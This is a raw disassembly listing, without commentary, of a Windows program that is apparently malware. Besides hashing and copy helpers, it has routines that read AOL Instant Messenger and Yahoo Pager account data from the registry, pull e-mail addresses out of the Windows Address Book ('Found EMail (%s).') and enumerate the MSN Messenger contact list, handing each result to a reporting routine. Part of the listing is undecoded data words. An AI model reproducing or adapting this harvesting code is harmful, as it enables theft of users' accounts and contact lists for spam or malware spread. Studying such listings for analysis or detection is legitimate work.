		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 778CBEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 514BE890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2868h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
		dd 4CA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 247A25Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0A216E890h
		dd 0C0850248h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004446h, 20244489h, 4FDBE890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 4FA1BBE8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24CA190h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D28h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 29E89052h, 8B024CA1h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79DCFE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6868006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A24h, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B5C6800h
		dd 0F08B0044h, 8A146851h, 90560044h, 1C4E64E8h,	4E646800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
		dd 448D5374h, 0FC687C24h, 50004489h, 811C9FE8h,	0C4839077h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89E06851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h
		dd 24448B04h, 0E890501Ch, 24C9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B868h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A246800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B0h
		dd 6852F08Bh, 4489A0h, 56E89056h, 68001C4Dh, 444E64h, 71E89056h
		dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898468h
		dd 91E85100h, 9077811Bh, 8508C483h, 8B3575C0h, 16F4249Ch
		dd 548D0000h, 68527C24h, 448968h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
		dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 9ED2E852h, 8D90024Ch
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_448900
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2900000h
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488F4
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 2930000h
		nop
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		call	near ptr 2930000h
		nop
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		call	near ptr 28E0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2900000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 28502BBh
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2720000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 2830942h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27206CBh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		nop
		call	near ptr 27208E7h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2930000h
		nop
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A40
		push	ecx
		call	ebx ; sub_5FADE9
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A34
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		nop
		call	near ptr 2830000h
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2900000h
		nop


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B83+1)
